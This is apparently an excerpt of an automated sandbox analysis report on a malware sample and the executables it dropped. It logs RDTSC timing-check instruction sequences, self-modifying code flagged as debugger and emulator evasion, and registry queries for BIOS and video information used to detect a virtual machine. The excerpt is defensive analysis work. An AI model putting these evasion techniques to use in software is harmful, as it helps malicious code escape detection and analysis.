Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120B0A second address: 5120B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120B25 second address: 5120B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FB57088F9DCh 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007FB57088F9E2h 0x0000001d or eax, 173E86E8h 0x00000023 jmp 00007FB57088F9DBh 0x00000028 popfd 0x00000029 popad 0x0000002a je 00007FB5E1215304h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov bx, 9A56h 0x00000037 movsx edx, si 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120B7A second address: 5120B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120B80 second address: 5120B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120B84 second address: 5120B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120BBC second address: 5120BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120BC0 second address: 5120BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120BC6 second address: 5120BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB57088F9E2h 0x00000009 sub ah, 00000008h 0x0000000c jmp 00007FB57088F9DBh 0x00000011 popfd 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120BF7 second address: 5120BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120BFB second address: 5120C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C01 second address: 5120C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C22 second address: 5120C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C26 second address: 5120C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C2C second address: 5120C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C32 second address: 5120C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FB570775C66h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007FB570775C5Bh 0x00000018 sbb cl, FFFFFFBEh 0x0000001b jmp 00007FB570775C69h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C7F second address: 5120C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB57088F9DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120C8F second address: 5120C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 77DD65 second address: 77DD6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB57088F9D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 905496 second address: 90549A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904799 second address: 90479D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 9048FF second address: 90490D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jbe 00007FB570775C56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 90490D second address: 904928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB57088F9E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904928 second address: 90492C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904AA4 second address: 904AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904AAA second address: 904AB4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB570775C56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904AB4 second address: 904ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904ABA second address: 904AD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB570775C68h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 904AD7 second address: 904ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907BA5 second address: 907BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907BAC second address: 907C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 add dword ptr [ebp+122D1E23h], esi 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+122D1F25h], ebx 0x00000016 push F4F89BEDh 0x0000001b jmp 00007FB57088F9DBh 0x00000020 add dword ptr [esp], 0B076493h 0x00000027 jmp 00007FB57088F9DCh 0x0000002c push 00000003h 0x0000002e mov si, F99Eh 0x00000032 push 00000000h 0x00000034 mov dl, ah 0x00000036 push 00000003h 0x00000038 mov edi, dword ptr [ebp+122D3B18h] 0x0000003e call 00007FB57088F9D9h 0x00000043 push ecx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push eax 0x00000048 pop eax 0x00000049 popad 0x0000004a pop ecx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f ja 00007FB57088F9D6h 0x00000055 jo 00007FB57088F9D6h 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907C19 second address: 907C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB570775C56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907C23 second address: 907CDA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007FB57088F9DEh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007FB57088F9E2h 0x0000001d popad 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jne 00007FB57088F9ECh 0x00000029 pop eax 0x0000002a lea ebx, dword ptr [ebp+1245DA9Bh] 0x00000030 call 00007FB57088F9E5h 0x00000035 adc si, FD1Dh 0x0000003a pop esi 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d jne 00007FB57088F9E3h 0x00000043 jnc 00007FB57088F9EBh 0x00000049 jmp 00007FB57088F9E5h 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FB57088F9DDh 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907CDA second address: 907CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907CE0 second address: 907CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907CE4 second address: 907CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907D9E second address: 907DBD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jno 00007FB57088F9D6h 0x00000011 pop esi 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907DBD second address: 907E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007FB570775C5Bh 0x0000000f pop eax 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007FB570775C68h 0x0000001a pop eax 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FB570775C58h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 call 00007FB570775C63h 0x0000003a sub dx, ED4Bh 0x0000003f pop edx 0x00000040 jne 00007FB570775C59h 0x00000046 push 00000003h 0x00000048 mov esi, 1A7F88DDh 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+122D1F25h], ebx 0x00000055 push 00000003h 0x00000057 or dx, FDF6h 0x0000005c call 00007FB570775C59h 0x00000061 push edx 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 907E55 second address: 907E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB57088F9DAh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 90809F second address: 9080BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FB570775C63h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8E78D2 second address: 8E78FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB57088F9E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 9262C9 second address: 9262CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926591 second address: 9265A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FB57088F9D6h 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926714 second address: 926718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926718 second address: 926722 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB57088F9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E0B second address: 926E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E0F second address: 926E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E13 second address: 926E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB570775C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jne 00007FB570775C56h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E27 second address: 926E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E2C second address: 926E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB570775C56h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E41 second address: 926E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E45 second address: 926E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926E49 second address: 926E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926FA2 second address: 926FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926FA8 second address: 926FAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 926FAC second address: 926FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 927507 second address: 92752F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jmp 00007FB57088F9DCh 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jp 00007FB57088F9D8h 0x00000016 pushad 0x00000017 jp 00007FB57088F9D6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F5044 second address: 8F5048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F5048 second address: 8F504E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F504E second address: 8F5076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FB570775C5Eh 0x0000000c jbe 00007FB570775C5Ch 0x00000012 jl 00007FB570775C56h 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007FB570775C56h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F5076 second address: 8F5092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F5092 second address: 8F50C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jbe 00007FB570775C56h 0x0000000f jmp 00007FB570775C68h 0x00000014 jns 00007FB570775C56h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 8F50C3 second address: 8F50CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 92F697 second address: 92F6CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e pushad 0x0000000f jmp 00007FB570775C5Ch 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	RDTSC instruction interceptor: First address: 92F6CA second address: 92F6CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Special instruction interceptor: First address: 984C3F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Special instruction interceptor: First address: 9B48A0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Special instruction interceptor: First address: 98DE72 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Special instruction interceptor: First address: A1BBC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Special instruction interceptor: First address: 77DCCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Special instruction interceptor: First address: 77DDB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Special instruction interceptor: First address: 92DCEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Special instruction interceptor: First address: 93483C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Special instruction interceptor: First address: 34FF0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Special instruction interceptor: First address: 4EE7D3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Special instruction interceptor: First address: 4FF613 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Special instruction interceptor: First address: 34FE65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Special instruction interceptor: First address: 5746BE instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Special instruction interceptor: First address: CDEBD0 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Special instruction interceptor: First address: E7F202 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Special instruction interceptor: First address: EA78FC instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Special instruction interceptor: First address: CDEBE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Special instruction interceptor: First address: F0AEF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDEBD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 117F202 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11A78FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDEBE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 120AEF3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Memory allocated: 4E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Memory allocated: 4F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Memory allocated: 6F90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Code function: 3_2_00908059 rdtsc

3_2_00908059

